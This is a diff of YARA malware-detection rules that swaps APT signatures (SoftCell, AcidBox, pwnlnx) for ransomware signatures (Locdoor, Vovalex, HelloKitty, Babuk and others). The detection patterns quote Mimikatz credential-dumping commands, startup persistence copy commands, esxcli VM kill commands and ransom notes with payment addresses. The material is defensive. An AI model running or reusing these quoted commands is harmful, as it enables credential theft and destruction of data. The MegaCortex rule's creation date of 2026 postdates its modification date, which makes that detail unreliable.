actor_group = "Unknown" strings: - $s1 = "Change Service Mode to user logon failure.code:%d" fullword ascii - $s2 = "spoolsvs.exe" fullword wide - $s3 = "System\\CurrentControlSet\\Services\\%s\\parameters\\%s" fullword ascii - $s4 = "Please Correct [-s %s]" fullword ascii - $s5 = "Please Correct [-m %s]" fullword ascii - $op0 = { 59 8d 85 64 ff ff ff 50 c7 85 64 ff ff ff 94 } - $op1 = { c9 c2 08 00 81 c1 30 34 00 00 e9 cf 9b ff ff 55 } - $op2 = { 80 0f b6 b5 68 ff ff ff c1 e2 04 0b d6 0f b6 b5 } + $pattern_0 = { 50 8d7c2420 e8???????? 84c0 0f84a6020000 8b742460 ba???????? } + $pattern_1 = { 51 52 53 ffd5 85c0 746d 8b4c240c } + $pattern_2 = { 7521 68000000f0 6a18 6a00 6a00 56 ff15???????? } + $pattern_3 = { 83c40c 8d4e0c 51 66c7060802 66c746041066 c6460820 } + $pattern_4 = { 51 ffd3 50 ffd7 8b4628 85c0 } + $pattern_5 = { 85c9 741e 8b4508 8b4d0c 8a11 } + $pattern_6 = { 83c002 6685c9 75f5 2bc6 d1f8 66390c46 8d3446 } + $pattern_7 = { 895a2c 8b7f04 85ff 0f85f7feffff 55 6a00 } + $pattern_8 = { 8b3d???????? 6a01 6a00 ffd7 50 ff15???????? } + $pattern_9 = { 85c0 7407 50 ff15???????? } condition: - uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "ef64bb4aa42ef5a8a2e3858a636bce40" and all of them ) + 7 of them and filesize < 237568 } - -rule TRELLIX_ARC_Nbtscan_Utility_Softcell : UTILITY FILE +rule TRELLIX_ARC_Screenlocker_Acroware : RANSOMWARE FILE { meta: - description = "Rule to detect nbtscan utility used in the SoftCell operation" + description = "Rule to detect the ScreenLocker Acroware" author = "Marc Rivero | McAfee ATR Team" - id = "a2a8dd43-0d30-5da5-9dd3-6ba9f6473c40" - date = "2019-06-25" + id = "76eb69eb-dfe7-5629-bf2d-d20574efd662" + date = "2018-08-28" modified = "2020-08-14" - reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L178-L209" + reference = "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-august-31st-2018-devs-on-vacation/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_acroware.yar#L1-L29" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "6079f1363578f82fd38971d0c8f69cc156f7f678c3f2be22c5d9c3748dc80b1f" + hash = "f9efcfc5328e6502cbbbff752a940ac221e437d8732052fc265618f6a6ad72ae" + logic_hash = "582f3544cf1f8066b1e9ac04c3a4cc9f0ba96804ca53bc3746b433df9c33e0a1" score = 75 - quality = 45 - tags = "UTILITY, FILE" + quality = 70 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "utility" - malware_family = "Utility:W32/NbtScan" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransom:W32/Acroware" + actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "nbtscan 1.0.35 - 2008-04-08 - http://www.unixwiz.net/tools/" fullword ascii - $s2 = "parse_target_cb.c" fullword ascii - $s3 = "ranges. Ranges can be in /nbits notation (\"192.168.12.0/24\")" fullword ascii - $s4 = "or with a range in the last octet (\"192.168.12.64-97\")" fullword ascii - $op0 = { 52 68 d4 66 40 00 8b 85 58 ff ff ff 50 ff 15 a0 } - $op1 = { e9 1c ff ff ff 8b 45 fc 8b e5 5d c3 cc cc cc cc } - $op2 = { 59 59 c3 8b 65 e8 ff 75 d0 ff 15 34 60 40 00 ff } + $s1 = "C:\\Users\\patri\\Documents\\Visual Studio 2015\\Projects\\Advanced Ransi\\Advanced Ransi\\obj\\Debug\\Advanced Ransi.pdb" fullword ascii + $s2 = "All your Personal Data got encrypted and the decryption key is stored on a hidden" fullword ascii + $s3 = "alphaoil@mail2tor.com any try of removing this Ransomware will result in an instantly " fullword ascii + $s4 = "HKEY_CURRENT_USER\\SoftwareE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide + $s5 = "webserver, after 72 hours thedecryption key will get removed and your personal" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize < 100KB and ( pe.imphash ( ) == "2fa43c5392ec7923ababced078c2f98d" and all of them ) + ( uint16( 0 ) == 0x5a4d and filesize < 2000KB ) and all of them } - -rule TRELLIX_ARC_Mimikatz_Utility_Softcell : HACKTOOL FILE +rule TRELLIX_ARC_Pico_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect Mimikatz utility used in the SoftCell operation" + description = "Rule to detect Pico Ransomware" author = "Marc Rivero | McAfee ATR Team" - id = "0c01a2f6-cf3c-57b3-8f19-94d320422658" - date = "2019-06-25" + id = "843cac7a-652e-5cbf-a09d-fb4b1eaa8481" + date = "2018-08-30" modified = "2020-08-14" - reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L211-L258" + reference = "https://twitter.com/siri_urz/status/1035138577934557184" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Pico.yar#L1-L37" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "4ccb44bf0d490a18e35290d904326ce14cdc92c96be1a38e6059431645233e37" + hash = "cc4a9e410d38a29d0b6c19e79223b270e3a1c326b79c03bec73840b37778bc06" + logic_hash = "bb15e66504f393bcb4b173cb2a4ec65aa13110060f7fb70282330b5f6d72f5ed" score = 75 - quality = 68 - tags = "HACKTOOL, FILE" + quality = 20 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "hacktool" - malware_family = "Hacktool:W32/Mimikatz" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransom:W32/Pico" + actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "livessp.dll" fullword wide - $s2 = "\\system32\\tapi32.dll" fullword wide - $s3 = " * Process Token : " fullword wide - $s4 = "lsadump" fullword wide - $s5 = "-nl - skip lsa dump..." fullword wide - $s6 = "lsadump::sam" fullword wide - $s7 = "lsadump::lsa" fullword wide - $s8 = "* NL$IterCount %u, %u real iter(s)" fullword wide - $s9 = "* Iter to def (%d)" fullword wide - $s10 = " * Thread Token : " fullword wide - $s11 = " * RootKey : " fullword wide - $s12 = "lsadump::cache" fullword wide - $s13 = "sekurlsa::logonpasswords" fullword wide - $s14 = "(commandline) # %s" fullword wide - $s15 = ">>> %s of '%s' module failed : %08x" fullword wide - $s16 = "UndefinedLogonType" fullword wide - $s17 = " * Username : %wZ" fullword wide - $s18 = "logonPasswords" fullword wide - $s19 = "privilege::debug" fullword wide - $s20 = "token::elevate" fullword wide - $op0 = { e8 0b f5 00 00 90 39 35 30 c7 02 00 75 34 48 8b } - $op1 = { eb 34 48 8b 4d cf 48 8d 45 c7 45 33 c9 48 89 44 } - $op2 = { 48 3b 0d 34 26 01 00 74 05 e8 a9 31 ff ff 48 8b } + $s1 = "C:\\Users\\rikfe\\Desktop\\Ransomware\\ThanatosSource\\Release\\Ransomware.pdb" fullword ascii + $s2 = "\\Downloads\\README.txt" fullword ascii + $s3 = "\\Music\\README.txt" fullword ascii + $s4 = "\\Videos\\README.txt" fullword ascii + $s5 = "\\Pictures\\README.txt" fullword ascii + $s6 = "\\Desktop\\README.txt" fullword ascii + $s7 = "\\Documents\\README.txt" fullword ascii + $s8 = "/c taskkill /im " fullword ascii + $s9 = "\\AppData\\Roaming\\" fullword ascii + $s10 = "gMozilla/5.0 (Windows NT 6.1) Thanatos/1.1" fullword wide + $s11 = "AppData\\Roaming" fullword ascii + $s12 = "\\Downloads" fullword ascii + $s13 = "operator co_await" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "169e02f00c6fb64587297444b6c41ff4" and all of them ) + ( uint16( 0 ) == 0x5a4d and filesize < 700KB ) and all of them } - -rule TRELLIX_ARC_Sfx_Winrar_Plugx : BUILDER FILE +rule TRELLIX_ARC_Locdoor_Ransomware : RANSOMWARE FILE { meta: - description = "Rule to detect the SFX WinRAR delivering a possible Plugx sample" + description = "Rule to detect Locdoor/DryCry" author = "Marc Rivero | McAfee ATR Team" - id = "ac975a58-6a8a-515e-b27f-327a7bfc7686" - date = "2019-06-25" + id = "d855d7fd-a1e3-561e-906e-103752285b0f" + date = "2018-09-02" modified = "2020-08-14" - reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_Operation_SoftCell.yar#L260-L307" + reference = "https://twitter.com/leotpsc/status/1036180615744376832" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_locdoor.yar#L1-L32" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "8231f46330762cecf8a796d1a29c8fa6ba1c10b527fa86bf6c73130349558dad" + hash = "0000c55f7cdbbad9bacba0e79637696f3bfeb95a5f71dfa0b398bc77a207eb41" + logic_hash = "c9519279a929feedae2bab58cd0de91f6c447827fa59afa927726fde84d21e1c" score = 75 - quality = 68 - tags = "BUILDER, FILE" + quality = 70 + tags = "RANSOMWARE, FILE" rule_version = "v1" - malware_type = "builder" - malware_family = "Builder:W32/Plugx" - actor_type = "Apt" + malware_type = "ransomware" + malware_family = "Ransom:W32/Locdoor" + actor_type = "Cybercrime" actor_group = "Unknown" strings: - $s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide - $s2 = "Wrong password for %s5Write error in the file %s. Probably the disk is full" fullword wide - $s3 = "mcutil.dll" fullword ascii - $s4 = "Unexpected end of archiveThe file \"%s\" header is corrupt%The archive comment header is corrupt" fullword wide - $s5 = "mcoemcpy.exe" fullword ascii - $s6 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide - $s7 = "&Enter password for the encrypted file:" fullword wide - $s8 = "start \"\" \"%CD%\\mcoemcpy.exe\"" fullword ascii - $s9 = "setup.bat" fullword ascii - $s10 = "ErroraErrors encountered while performing the operation" fullword wide - $s11 = "Please download a fresh copy and retry the installation" fullword wide - $s12 = "antivir.dat" fullword ascii - $s13 = "The required volume is absent2The archive is either in unknown format or damaged" fullword wide - $s14 = "=Total path and file name length must not exceed %d characters" fullword wide - $s15 = "Please close all applications, reboot Windows and restart this installation\\Some installation files are corrupt." fullword wide - $s16 = "folder is not accessiblelSome files could not be created." fullword wide - $s17 = "Packed data CRC failed in %s" fullword wide - $s18 = "DDTTDTTDTTDTTDTTDTTDTTDTTDTQ" fullword ascii - $s19 = "File close error" fullword wide - $s20 = "CRC failed in %s" fullword wide - $op0 = { e8 6f 12 00 00 84 c0 74 04 32 c0 eb 34 56 ff 75 } - $op1 = { 53 68 b0 34 41 00 57 e8 61 44 00 00 57 e8 31 44 } - $op2 = { 56 ff 75 08 8d b5 f4 ef ff ff e8 17 ff ff ff 8d } + $s1 = "copy \"Locdoor.exe\" \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\temp00000000.exe\"" fullword ascii + $s2 = "copy wscript.vbs C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\wscript.vbs" fullword ascii + $s3 = "!! Your computer's important files have been encrypted! Your computer's important files have been encrypted!" fullword ascii + $s4 = "echo CreateObject(\"SAPI.SpVoice\").Speak \"Your computer's important files have been encrypted! " fullword ascii + $s5 = "! Your computer's important files have been encrypted! " fullword ascii + $s7 = "This program is not supported on your operating system." fullword ascii + $s8 = "echo Your computer's files have been encrypted to Locdoor Ransomware! To make a recovery go to localbitcoins.com and create a wa" ascii + $s9 = "Please enter the password." fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize < 500KB and ( pe.imphash ( ) == "dbb1eb5c3476069287a73206929932fd" and all of them ) + ( uint16( 0 ) == 0x5a4d and filesize < 600KB ) and all of them } -rule TRELLIX_ARC_APT_Acidbox_Kernelmode_Module : KERNELDRIVER FILE +rule TRELLIX_ARC_Ransom_Vovalex_Part2 : RANSOM FILE { meta: - description = "Rule to detect the kernel mode component of AcidBox" - author = "Marc Rivero | McAfee ATR Team" - id = "80b60307-5431-5f21-9e6f-06adaab0519d" - date = "2020-07-24" - modified = "2020-08-14" + description = "Vovalex ransomware detection part 2" + author = "CB @ ATR" + id = "26c91d06-13da-5039-8b8a-eb8de2774d79" + date = "2021-02-01" + modified = "2021-02-01" reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_acidbox.yar#L1-L32" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/Ransom_Vovalex1.yar#L3-L42" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "e39da89d0da22115ac7889bc73ff183973a6c5334e304df955362bde76694d42" + logic_hash = "82814fd9155ec910c6353de8336733704e05c9f02409ad99cd80da8ef9fe3c04" score = 75 - quality = 70 - tags = "KERNELDRIVER, FILE" - rule_version = "v1" - malware_type = "kerneldriver" - malware_family = "Rootkit:W32/Acidbox" - actor_type = "APT" - actor_group = "Turla" - hash1 = "3ef071e0327e7014dd374d96bed023e6c434df6f98cce88a1e7335a667f6749d" + quality = 64 + tags = "RANSOM, FILE" + malware_type = "Ransom" + malware_family = "Ransom:Win/Vovalex" + hash1 = "0604acc15196120db2f4ca922feb2a4c858a46123cb26e9af2ef97b4c7839121" + hash2 = "fe9ff27ec0a1a48cbb8bc043f260a656c221c6c61704187a390bc8da6f91103a" + hash3 = "3b198c367aca1d239abc48bdeb8caabf9b8f2b630071b8e0fd1e86940eab14d6" strings: - $pattern_0 = { 897c2434 8978b8 8d5f28 448bc3 33d2 } - $pattern_1 = { 4c8d842470010000 488d942418010000 498bcf e8???????? 8bd8 89442460 } - $pattern_2 = { 4c8bf1 49d1eb 4585c9 0f88a2000000 440fb717 498bd0 } - $pattern_3 = { ff15???????? 4c8d9c2480000000 498b5b10 498b7318 498b7b20 4d8b7328 498be3 } - $pattern_4 = { 33d2 41b8???????? 895c2420 e8???????? } - $pattern_5 = { 895c2420 4885ff 0f8424010000 440f20c0 84c0 0f8518010000 } - $pattern_6 = { 85f6 0f8469fdffff 488d8424c8010000 41b9???????? } - $pattern_7 = { 894c2404 750a ffc7 893c24 41ffc3 ebcb 85c9 } - $pattern_8 = { 488b5c2450 488b742458 488b7c2460 4883c430 } - $pattern_9 = { 33d2 488b4c2428 e8???????? 448b842450040000 4503c0 4c8d8c2450040000 488bd7 } + $x1 = "If you don't know where to buy Monero - visit these websites: https://www.bestchange.ru/ https://www.bestchange.com" fullword ascii + $s2 = "Full list: https://www.getmonero.org/community/merchants/#exchanges" fullword ascii + $s3 = ": https://www.getmonero.org/community/merchants/#exchanges" fullword ascii + $s4 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\file.d" fullword ascii + $s5 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\utf.d" fullword ascii + $s6 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\stdio.d" fullword ascii + $s7 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\format.d" fullword ascii + $s8 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\random.d" fullword ascii + $s9 = "C:\\D\\dmd2\\windows\\bin\\..\\..\\src\\phobos\\std\\conv.d" fullword ascii + $s10 = "3. If everything is good, you will receive the decryptor." fullword ascii + $s11 = "Attempting to flush() in an unopened file" fullword ascii + $s12 = "Monero: 4B45W7V1sJAZBnPSnvcipa5k7BRyC4w8GCTfQCUL2XRx5CFzG3iJtEk2kqEvFbF7FagEafRYFfQ6FJnZmep5TsnrSfxpMkS" fullword ascii + $s13 = "..\\AppData\\Local\\dub\\packages\\crypto-0.2.16\\crypto\\src\\crypto\\padding.d" fullword ascii + $s14 = "crypto.aes.AES!(4u, 8u, 14u).AES" fullword ascii + $s15 = "..\\AppData\\Local\\dub\\packages\\crypto-0.2.16\\crypto\\src\\crypto\\aes.d" fullword ascii + $s16 = "Monero - " fullword ascii + $s17 = "std.random.uniform(): invalid bounding interval " fullword ascii + $s18 = "crypto.aes.AESUtils" fullword ascii + $s19 = "2. Send us a mail with proofs of transaction: VovanAndLexus@cock.li" fullword ascii + $s20 = "crypto.aes" fullword ascii + $op0 = { 48 8d 8d 10 ff ff ff e8 4a 22 fe ff f7 df 89 bd } + $op1 = { e8 60 6e fb ff 34 01 75 d6 4c 8b 46 40 48 8b 56 } + $op2 = { 4c 8d 85 40 ff ff ff 4c 8d 15 d2 78 02 00 4c 89 } condition: - 7 of them and filesize < 78848 + ( uint16( 0 ) == 0x5a4d and filesize < 17000KB and ( 1 of ( $x* ) and 4 of them ) and all of ( $op* ) ) or ( all of them ) } -rule TRELLIX_ARC_APT_Acidbox_Main_Module_Dll : BACKDOOR FILE + +rule TRELLIX_ARC_Megacortex_Signed : RANSOMWARE FILE { meta: - description = "Rule to detect the Main mode component of AcidBox" + description = "Rule to detect MegaCortex samples digitally signed" author = "Marc Rivero | McAfee ATR Team" - id = "8c9beb0f-62f7-5788-8340-0b1ecdf54253" - date = "2020-07-24" + id = "78a74e30-4de0-5e63-8ca5-31251c296f98" + date = "2026-03-01" modified = "2020-08-14" - reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_acidbox.yar#L34-L65" + reference = "https://blog.malwarebytes.com/detections/ransom-megacortex/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_MegaCortex.yar#L3-L26" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "db98e204742b8629074d47df301ffcbb2dfb977a4da91557fb50838aae79e777" + logic_hash = "8ffced3aca837682fbd7ee68f559f73b8299cbfbe198f48124c4857680735249" score = 75 quality = 70 - tags = "BACKDOOR, FILE" - rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Acidbox" - actor_type = "APT" - actor_group = "Turla" - hash1 = "eb30a1822bd6f503f8151cb04bfd315a62fa67dbfe1f573e6fcfd74636ecedd5" - - strings: - $pattern_0 = { 7707 b8022d03a0 eb05 e8???????? } - $pattern_1 = { 4403c8 8bc3 41d1c6 33c6 81c6d6c162ca c1cb02 33c7 } - $pattern_2 = { e9???????? 412b5c2418 8b45dc 412b442408 41015c241c 410144240c 015f1c } - $pattern_3 = { 48895c2408 57 4883ec30 488bfa 33db 4885c9 7479 } - $pattern_4 = { 48895c2408 57 4883ec30 498bd8 488bfa 488364245800 85c9 } - $pattern_5 = { 488987e0010000 e9???????? 81cb001003a0 e9???????? 488b87a0010000 44847806 742e } - $pattern_6 = { 4d8bcc 4c8d0596c50100 498bd4 488bce e8???????? 498b9de0010000 c74605aa993355 } - $pattern_7 = { 4533c0 8d5608 e8???????? 488bf0 4889442460 4885c0 750b } - $pattern_8 = { 488d5558 41c1ee08 41b802000000 44887559 e8???????? 4c8b4de0 894718 } - $pattern_9 = { 4d03c2 4d3bc2 4d13cc 4d0303 4d3b03 4d8903 4c8b13 } + tags = "RANSOMWARE, FILE" + malware_type = "ransomware" + malware_family = "Ransom:W32/MegaCortex" + actor_type = "Cybercrime" + actor_group = "Unknown" condition: - 7 of them and filesize < 550912 + uint16( 0 ) == 0x5a4d and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "/C=GB/L=ROMFORD/O=3AN LIMITED/CN=3AN LIMITED" and pe.signatures [ i ] . serial == "04:c7:cd:cc:16:98:e2:5b:49:3e:b4:33:8d:5e:2f:8b" or pe.signatures [ i ] . subject contains "/C=GB/postalCode=RM6 4DE/ST=ROMFORD/L=ROMFORD/street=8 Quarles Park Road/O=3AN LIMITED/CN=3AN LIMITED" and pe.signatures [ i ] . serial == "53:cc:4c:69:e5:6a:7d:bc:36:67:d5:ff:d5:24:aa:4b" or pe.signatures [ i ] . subject contains "/C=GB/postalCode=RM6 4DE/ST=ROMFORD/L=ROMFORD/street=8 Quarles Park Road/O=3AN LIMITED/CN=3AN LIMITED" or pe.signatures [ i ] . serial == "00:ad:72:9a:65:f1:78:47:ac:b8:f8:49:6a:76:80:ff:1e" ) } -rule TRELLIX_ARC_APT_Acidbox_Ssp_Dll_Module : BACKDOOR FILE +rule TRELLIX_ARC_Ransom_Linux_Hellokitty_0721 : RANSOMWARE FILE { meta: - description = "Rule to detect the SSP DLL component of AcidBox" - author = "Marc Rivero | McAfee ATR Team" - id = "ef1511c5-f650-5e65-937c-466f00932183" - date = "2020-07-24" - modified = "2020-08-14" + description = "rule to detect Linux variant of the Hello Kitty Ransomware" + author = "Christiaan @ ATR" + id = "097b02e7-93d8-5d4f-9964-7b660b3cd7b9" + date = "2021-07-19" + modified = "2021-07-19" reference = "https://github.com/advanced-threat-research/Yara-Rules/" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_acidbox.yar#L67-L98" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_Linux_HelloKitty0721.yar#L1-L28" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - logic_hash = "4c9b9de11d73587ca1ad1efa5455598e41edc5a9a59fc0339c429a212c1c7941" + logic_hash = "77a3809df4c7c591a855aaecd702af62935952937bb81661aa7f68e64dcf4fb4" score = 75 quality = 70 - tags = "BACKDOOR, FILE" - rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Acidbox" - actor_type = "APT" - actor_group = "Turla" - hash1 = "003669761229d3e1db0f5a5b333ef62b3dffcc8e27c821ce9018362e0a2df7e9" + tags = "RANSOMWARE, FILE" + Rule_Version = "v1" + malware_type = "ransomware" + malware_family = "Ransom:Linux/HelloKitty" + hash1 = "ca607e431062ee49a21d69d722750e5edbd8ffabcb54fa92b231814101756041" + hash2 = "556e5cb5e4e77678110961c8d9260a726a363e00bf8d278e5302cb4bfccc3eed" strings: - $pattern_0 = { 49897ba0 8bc7 49894398 49897ba8 33c9 49894bb0 } - $pattern_1 = { 8b8424a8000000 c1e818 88443108 66895c310a 498b0e } - $pattern_2 = { 8b5f48 413bdd 410f47dd 85db 0f84f1000000 488b4720 4885c0 } - $pattern_3 = { e8???????? 85c0 78c7 488d9424a0020000 488d8c24e0030000 ff15???????? 4c8bf8 } - $pattern_4 = { ff15???????? 488bc8 4c8bc6 33d2 ff15???????? 8bfb 895c2420 } - $pattern_5 = { 415f c3 4c8bdc 49895b10 } - $pattern_6 = { 488d842488010000 4889442420 41bf???????? 458bcf 4c8bc7 418bd7 488d8c2490000000 } - $pattern_7 = { c1e908 0fb6c9 3bce 77b6 8bd0 b9???????? c1ea10 } - $pattern_8 = { 4c8bc3 ba???????? 488d4c2438 e8???????? 89442430 85c0 7508 } - $pattern_9 = { bb02160480 8bc3 488b5c2440 488b742448 488b7c2450 4883c430 } + $v1 = "esxcli vm process kill -t=force -w=%d" fullword ascii + $v2 = "esxcli vm process kill -t=hard -w=%d" fullword ascii + $v3 = "esxcli vm process kill -t=soft -w=%d" fullword ascii + $v4 = "error encrypt: %s rename back:%s" fullword ascii + $v5 = "esxcli vm process list" fullword ascii + $v6 = "Total VM run on host:" fullword ascii + $v7 = "error lock_exclusively:%s owner pid:%d" fullword ascii + $v8 = "Error open %s in try_lock_exclusively" fullword ascii + $v9 = "Mode:%d Verbose:%d Daemon:%d AESNI:%d RDRAND:%d " fullword ascii + $v10 = "pthread_cond_signal() error" fullword ascii + $v11 = "ChaCha20 for x86_64, CRYPTOGAMS by <appro@openssl.org>" fullword ascii condition: - 7 of them and filesize < 199680 + ( uint16( 0 ) == 0x457f and filesize < 200KB and ( 8 of them ) ) or ( all of them ) } -rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_1 : BACKDOOR FILE +rule TRELLIX_ARC_Ransom_Babuk : RANSOM T1027 T1083 T1057 T1082 T1129 T1490 T1543_003 FILE { meta: - description = "Rule to detect the backdoor pwnlnx variant 1" - author = "Marc Rivero | McAfee ATR Team" - id = "5b76ca62-460c-5c36-a239-700cc509f2b0" - date = "2020-04-17" - modified = "2020-08-14" - reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf" - source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L3-L33" + description = "Rule to detect Babuk Locker" + author = "TS @ McAfee ATR" + id = "7c0a3b4e-90aa-5442-aa5e-1a7fcae9bec8" + date = "2021-01-19" + modified = "2021-02-24" + reference = "https://github.com/advanced-threat-research/Yara-Rules/" + source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/ransomware/RANSOM_BabukLocker_Jan2021.yar#L1-L25" license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE" - hash = "0f6033d6f82ce758b576e2d8c483815e908e323d0b700040fbdab5593fb5282b" - logic_hash = "1487890494dde891a6dbe7dff7ebd5660ee01fe10220215e680115f168c2ae4a" + hash = "e10713a4a5f635767dcd54d609bed977" + logic_hash = "123cebd1c2e66f3e91ee235cb9288df63dfaeba02e6df45f896cb50f38851a8f" score = 75 quality = 70 - tags = "BACKDOOR, FILE" - rule_version = "v1" - malware_type = "backdoor" - malware_family = "Backdoor:W32/Pwnlnx" - actor_type = "Cybercrime" - actor_group = "Unknown" + tags = "RANSOM, T1027, T1083, T1057, T1082, T1129, T1490, T1543.003, FILE" + rule_version = "v2" + malware_family = "Ransom:Win/Babuk" + malware_type = "Ransom" + mitre_attack = "T1027, T1083, T1057, T1082, T1129, T1490, T1543.003" strings: - $bp = { 7F??4C4602??01??000000000000000002??3E????0000????1A????0000000040000000000000??????0000000000000000000040??????????????1D????????0000????????????000000000000??????4000000000??????4000000000????01??00000000????01??00000000????000000000000????0000??????0000????000000000000????4000000000000002????000000001C??0000000000001C??00000000000001??00000000000001??000005????????0000000000000000??????0000000000004000000000????76??00000000????76??000000000000????00000000????0000????0000000080????00000000????????????0000????????????000038??00000000000080??????00000000000020??0000000002??0000060000????80????0000000028??????????000028??????????0000A0????????0000????????????0000????000000000000??????000004??00001C??0000000000001C??4000000000??????4000000000????000000000000????000000000000??????00000000000050E5??6404??00009C6D0000000000009C6D4000000000??????????????0000DC??000000000000DC??00000000000004??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000????6C69????????????2D????????78??78??362D????????6F2E32??04??000010??000001??0000474E5500000000????0000????0000????000000000000????0000??????000001??000006000000000000????000020??0000??????00007D??5A580000000000000000000000000000000000000000000000000000000015????????00000000000000000000??????00000000000082????????00000000000000000000????????????0000????????????00000000000000000000????????????0000??????000012??0000000000000000000062??0000000000006A??000012??000000000000000000001B??0000000000007E??000012??000000000000000000008B??0000000000004902??????00000000000000000000????????????0000????????????00000000000000000000????????00000000??????000012??000000000000000000008E??000000000000F401??????00000000000000000000????????????0000????????????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????0000????000000000000000000000000000000000000????0000????000000000000000000000000000000000000??????000012??0000000000000000000025????????0000????????????00000000000000000000????000000000000????0000????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????0000????00000000000000000000????000000000000????02??????00000000000000000000????????????0000????01??????00000000000000000000??????0000000000006602??????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????01??????00000000000000000000????000000000000????????????00000000000000000000????000000000000????01??????00000000000000000000????000000000000????0000????00000000000000000000????01??00000000????????????00000000000000000000????????????0000????????????00000000000000000000??????000000000000EC01??????00000000000000000000??????0000000000004B01??????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????01??????00000000000000000000????????????0000??????000012??0000000000000000000008??0000000000004302??????00000000000000000000????????????0000??????????????000000000000000000000A??0000000000003F01??????00000000000000000000????????????0000??????000012??00000000000000000000F0????00000000????01??????00000000000000000000??????????????00002F02??????00000000000000000000????01??00000000????????????00000000000000000000????000000000000??????????????0000000000000000000080????00000000????02??????00000000000000000000????000000000000??????000012??0000000000000000000074??000000000000BF????????00000000000000000000????????????0000????02??????00000000000000000000??????000000000000FA0000????00000000000000000000????????????0000??????000012??0000000000000000000011??000000000000A8??000012??0000000000000000000044000000000000??????000012??000000000000000000005A000000000000??????000012??0000000000000000000029??000000000000C6????????00000000000000000000????000000000000